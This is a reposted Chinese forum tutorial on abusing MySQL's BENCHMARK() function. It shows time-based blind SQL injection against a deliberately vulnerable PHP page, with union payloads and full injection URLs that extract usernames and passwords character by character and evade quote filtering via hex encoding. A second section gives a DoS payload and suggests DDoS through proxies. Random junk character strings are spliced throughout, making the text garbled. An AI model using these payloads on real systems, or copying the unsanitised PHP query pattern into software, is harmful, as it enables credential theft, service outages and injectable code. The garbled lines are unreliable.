找回密码
 立即注册
查看: 2628|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 - |3 m" N3 F+ I; s" g. G( J; R3 ^
本文作者:SuperHei
. V) o- _3 x/ _! q7 n7 T. M% O文章性质:原创( g) g3 Y: e; ^% Y. d2 h) K, |& S7 @
发布日期:2005-01-02
( F( U: d: b6 a& v: H3 R, Y4 ~完成日期:2004-07-09 ' [8 U: w' C& |" h# t% V5 X
第一部# D5 v, v4 @( e* s; F: j6 w

1 D, }: Z3 o8 p* T' ~利用时间推延进行注射---BENCHMARK函数在注射中的利用
+ Q5 C5 U9 D% s! N& @+ F; t6 ^* P, I  O1 W9 z- ~
一.前言/思路5 w, \3 Y  |, J7 d

" M: P  L- q4 g' {/ E* X. b  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。1 ]' R+ C( d& I1 t

' a4 `- ^- [; u7 c1 w  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。. a0 a0 g. O# ]9 b1 A$ l

' y% E$ I$ {+ F9 R2 [/ |- T二.关于BENCHMARK函数
4 r/ N9 Y( D" f
9 p/ x. M5 N4 P( S  在MySQL参考手册里可以看到如下描叙: * `/ L) R. |4 I# P

) Z& |- y9 H8 @
( U$ U, K& O, _3 a0 j4 b8 e--------------------------------------------------------------------------------$ i  ^* \7 y& `# |
0 F% V2 o: d, m5 S5 c4 D% T
BENCHMARK(count,expr)
& {, T$ d+ L" H3 F& [BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
! O4 F5 I* c( b& r; dmysql> select BENCHMARK(1000000,encode("hello","goodbye")); & P# Z# v( ]! n) ~( C0 h2 C* X
+----------------------------------------------+
/ p! ]) t, B; f4 }1 Y| BENCHMARK(1000000,encode("hello","goodbye")) |
' I) n& Y9 d/ x6 i) ?' }% }+----------------------------------------------+ - r" E& D/ Z1 e& P
| 0 | " Y. ^: Z+ i  E* J! U) p
+----------------------------------------------+
7 j: `7 Q! [( Y1 row in set (4.74 sec) ( O; @0 u/ E1 ?# G

; z; n- ]& V# _# V报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
7 _2 O9 |' O4 T0 B
, k' i) J' U( Z* P. S8 Y/ W" A6 _$ ~/ t% u7 H3 }
--------------------------------------------------------------------------------6 {  r; G4 T" c

9 |0 p) W' u( j  {  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 3 ?7 G7 V, r& `) j. T
+ F0 _8 [+ c" ]/ @: n, e
mysql> select md5( 'test' ); - ~* B* w3 s7 r, m; C
+----------------------------------+
0 G2 r2 b* y( N0 Z3 X| md5( 'test' ) | * p' n" j* P/ f2 U0 L
+----------------------------------+ 3 J# r" c5 J& p. k& G: h( O
| 098f6bcd4621d373cade4e832627b4f6 |
  K6 n2 l- `3 H3 U7 Y: K+----------------------------------+ 1 l7 _# I, c7 a
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec , W  ~# T. A% H! F
- S& b! J/ }* T2 R6 `( A  C
mysql> select benchmark( 500000, md5( 'test' ) );
, k3 F" Z3 F5 E! o8 ?+ ~+------------------------------------+ - r& x- k1 N$ d+ Y0 Z' \; L  t# B
| benchmark( 500000, md5( 'test' ) ) |
% ?! b' @1 d" ~' X! z1 Q5 d+------------------------------------+ ( w3 v9 u; s( w2 M; g
| 0 | 6 d, L1 a% d+ p' i# s1 _1 K* w  M  L
+------------------------------------+
8 {) P1 t% |6 E$ [1 row in set (6.55 sec) 〈------------执行时间为6.55 sec- K0 T& A4 d  S+ A* C

* X3 \  U0 K  w0 \& N1 d
7 E& N1 S4 H5 k: v  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 , Q6 J, D1 W% w- H. z2 w
# V& \, M& h4 ^. }6 N8 ~- l
三.具体例子; ?" B. E& ~9 I+ ^5 H
3 }# r" n# X1 z5 ?1 M8 ^
  首先我们看个简单的php代码:
* v7 A2 K" @# R/ w! \
" m% @( F# U3 Q( l: n< ?php ) D# H1 F; F# {# Q/ S
$servername = "localhost"; " r5 R: T% ^6 m! f
$dbusername = "root";
% _$ ?& a+ U& W) [$dbpassword = "";
( O2 Q! g1 U3 [( Q$dbname = "injection"; . N6 w+ Q4 M+ U3 c, x$ e

/ f! H: a( _; q; w' ~! E+ ]. K7 d, O* tmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ! u/ Y3 M. U& P7 \4 v6 A* C, U6 t

! K7 i% }4 u2 @8 y3 L$sql = "SELECT * FROM article WHERE articleid=$id"; ! S9 O6 k0 \+ j, A2 M. O
$result = mysql_db_query($dbname,$sql);
% ~7 I) l- w% n: w9 G/ o8 U$row = mysql_fetch_array($result);
+ J0 X) `0 o9 c$ Q; ?% w' Q8 z9 o  E9 X) c
if (!$row)
, d9 d" T# u8 \9 c/ N{ : K3 L- {" z+ Z! j- `
exit; - \, @& q# S. L# J3 p7 [9 F; w
} & A1 ~$ I9 ^+ k% X2 r+ W
?>8 O. t- E5 F2 g. {4 y* A

9 f* [% ]9 J7 r) P; `9 \
, L) b+ H% A6 o: `/ l6 {1 l8 r  数据库injection结构和内容如下:
9 {/ i+ H8 ]/ ~! C: q* C5 ~9 F% O& Y- |) b
# 数据库 : `injection` / d% c% ^6 f2 s3 I% B
# + L# W' f: i0 l  v

! M# k8 q7 G. b) G* `# -------------------------------------------------------- : A& I* j/ ], |5 K

2 Q8 j* D* I  l! D/ i+ Q+ X# 8 X9 ^( k& ^0 W8 Q: c' M$ n
# 表的结构 `article` 1 G# N( `. x0 K5 a  @* D
#
9 s& d  d" l! _
: b3 F, b2 c2 _* \( t9 wCREATE TABLE `article` (
+ Z* H2 t4 G) _, R+ a  O`articleid` int(11) NOT NULL auto_increment, " e7 t) n! B7 F+ C0 E9 s  D
`title` varchar(100) NOT NULL default '',
+ l! ]& s, R+ k) A`content` text NOT NULL,
. v/ c! ^2 a( U2 g1 B9 S8 m/ fPRIMARY KEY (`articleid`)
- Y5 d* i) a8 G) ~2 Q& ]+ }2 J+ y) TYPE=MyISAM AUTO_INCREMENT=3 ;   @, w7 N+ N9 n: {- f

3 d; c( t- j! `: ~: M# 3 {* Q0 ^7 C9 N1 Z& c
# 导出表中的数据 `article`
; T4 k1 {$ m9 e8 W  a" ^( T0 c# 4 E* `" k% w9 I7 n7 w: J

5 R( l8 m- m1 @2 z+ ?0 X8 ?INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 5 F  S' G" e" o" W1 v
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ A& c" @0 p. P$ w& e

: }% g7 l8 B# r- S4 [# --------------------------------------------------------
; o2 O8 h  J7 X# a2 ^1 F( [/ h6 ^. N: D5 B& V$ a9 L2 `8 n* E1 B
#
' v& ?6 L, ]5 V* Y, t# 表的结构 `user` . G* E5 J4 x% Y2 |. ]
#
) ?  S! D4 g4 r, |9 A. N3 p# `0 p+ I' f6 p5 B" s' U
CREATE TABLE `user` ( 8 u3 P% }+ ^  K6 \: c8 u, U
`userid` int(11) NOT NULL auto_increment, : i! O- W6 n: ]9 |7 d9 S
`username` varchar(20) NOT NULL default '',
. x. P( Q+ x4 Z; y  g2 J`password` varchar(20) NOT NULL default '',
: G6 f8 ?7 b2 A( y# APRIMARY KEY (`userid`)
" t7 ~+ m9 h5 s) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 l1 G1 }/ k0 q' k0 ~' J6 h  w) X% J9 o) T
#
+ j4 _) N5 k" n7 y0 t/ y. H# 导出表中的数据 `user`
) e6 g- P) o" s: m" ^( E5 M; N# 6 ?, [0 U3 ?4 e$ |1 Y# m9 z

5 c! Q9 c. S7 I% Q- G* C0 VINSERT INTO `user` VALUES (1, 'angel', 'mypass');
7 @+ `9 s6 p- S2 G# c7 gINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');; B/ I7 x( U2 q1 R3 i( p1 D
8 ]( V7 @9 e( b$ y/ s
5 ]4 g% Y# b" V+ F1 _% V
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
) X+ M3 z7 K  {& b9 n! G# G6 P
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*( J+ N" o) V; w3 j/ x+ S6 x

9 d* U! V. u5 }
7 k6 I0 o! {2 W; t) L) d4 p( |  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:& |, [0 c4 G( {( h# o* Q* w1 n

8 U+ Y$ Q, I! I- V$ I8 {http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
( z. V7 I, s2 o. s$ {; ?0 | / V  |) C; U8 Q3 j& c
7 J) X+ ^+ O2 v  H3 S7 r3 l
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
- p: Z% j1 w  {2 z( \
$ Y: j" K3 t% n  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 6 [" p" e& Q8 `0 {0 f& E
; d! K6 ~2 |  }1 ^
第二部
: v4 t2 b. O. `+ ^* c
. p8 s' P- [' a. Q$ Q( b利用BENCHMARK函数进行ddos攻击 $ S7 Q) f6 X0 R7 G- v0 x9 s

# f( V, R3 J9 p  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
5 H! |" Q4 V5 Z8 Q8 `* J: n  l$ p) u: b! a+ X
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))- G3 M! t% S, r0 A  V, D
! l9 {4 o+ S: \) g7 c% n. s
. X( I" M) f: J7 g( ~4 m$ H& G# S
小结4 i9 ^; s9 S$ S) H/ Y5 z2 t

: y3 h* w+ i8 X  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
6 o  j# W6 o# s
6 l. E6 Z+ `3 E6 g6 s1 L+ k6 [& u$ v5 ]  
. c# P6 U# F7 N4 P: j( q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表